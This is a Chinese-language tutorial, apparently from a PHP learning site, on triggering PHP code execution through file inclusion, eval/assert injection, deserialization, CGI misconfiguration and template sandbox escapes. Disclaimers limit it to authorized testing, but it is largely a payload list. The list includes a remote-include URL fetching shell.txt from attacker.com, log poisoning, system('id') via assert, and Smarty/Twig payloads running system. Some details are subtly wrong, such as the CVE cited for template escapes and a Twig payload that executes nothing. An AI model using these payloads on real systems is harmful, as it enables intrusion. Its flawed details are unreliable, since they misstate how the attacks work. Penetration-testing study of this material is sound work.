验证PHP代码是否可被意外执行需检测五类漏洞:一、文件包含漏洞(LFI/RFI);二、eval等动态执行函数;三、反序列化POP链;四、PHP内置服务器或CGI配置缺陷;五、模板引擎沙箱逃逸。所有测试须在授权环境中进行。

如果在进行安全检测过程中需要验证PHP代码是否可被意外执行,可能涉及对Web应用中潜在代码注入点的探测。以下是触发PHP代码执行的常见方法:
一、利用文件包含漏洞触发PHP代码执行
当应用程序使用用户可控参数动态包含文件且未严格校验路径时,攻击者可通过构造恶意输入使服务器加载并执行PHP代码。
1、向存在include()或require()调用的参数传入恶意路径,例如:?file=php://filter/convert.base64-encode/resource=index.php
2、若支持远程文件包含(RFI),尝试提交类似?file=http://attacker.com/shell.txt的请求,确保目标启用了allow_url_include=On
立即学习“PHP免费学习笔记(深入)”;
3、若存在本地文件包含(LFI)且可访问日志文件,将PHP代码写入访问日志后,通过?file=/var/log/apache2/access.log触发解析执行
注意:该操作仅限授权测试环境,未经许可对生产系统实施将违反《网络安全法》
二、利用eval()等动态执行函数触发PHP代码执行
当用户输入被直接拼接进eval()、assert()、create_function()或preg_replace()的/e修饰符中时,可导致任意PHP代码被执行。
1、识别表单或URL参数是否参与动态代码构造,例如搜索框提交payload:${@print(md5(123))}
2、向使用preg_replace('/.*/e', $_GET['p'], '')的接口发送请求:?p=phpinfo()
3、对含assert($_GET['c'])的脚本发起请求:?c=system('id')
关键提示:PHP 7.2+已移除/e修饰符,assert()默认不再执行字符串代码
三、利用反序列化漏洞触发PHP代码执行
当unserialize()处理用户可控数据且存在可利用的__wakeup()或__destruct()魔术方法时,可能触发链式调用最终执行PHP代码。
1、获取目标应用使用的类定义,定位含危险操作的魔术方法或属性
2、构造序列化字符串,将可控命令注入到可触发exec()、system()等函数的属性中
3、将生成的payload通过POST参数或Cookie传递给存在unserialize()调用的接口
必须确保目标环境中存在POP链且未启用__unserialize()替代机制
四、利用PHP内置Web服务器特性触发代码执行
当PHP以-cgi模式运行且配置不当,或使用php -S启动开发服务器时,特定请求头或路径组合可能导致代码解析异常。
1、向php-cgi二进制直连发送FastCGI协议包,构造QUERY_STRING参数为a=assert&b=phpinfo()
2、在php -S服务器中,尝试访问类似/index.php/.jpg的路径,绕过静态文件处理逻辑
3、利用PATH_INFO截断漏洞,在Nginx + PHP-FPM配置错误环境下发送/index.php/xxx.jpg%00.jpg请求
此方法依赖特定服务配置,常见于未及时更新的旧版Nginx或FPM配置
五、利用模板引擎沙箱逃逸触发PHP代码执行
部分PHP模板引擎(如Twig、Smarty)在低版本或错误配置下允许调用PHP原生函数,从而突破沙箱限制。
1、向Twig模板渲染接口提交{{ `id`|filter('system') }}或{{ ['id']|first|raw }}
2、对Smarty模板尝试{php}system('ls');{/php}或{assign var="a" value="system"}{$a('whoami')}
3、检查模板引擎版本,确认是否存在已知CVE(如CVE-2018-7490)对应的绕过方式
现代模板引擎默认禁用PHP代码执行,需关闭sandbox选项或降级至存在漏洞的版本











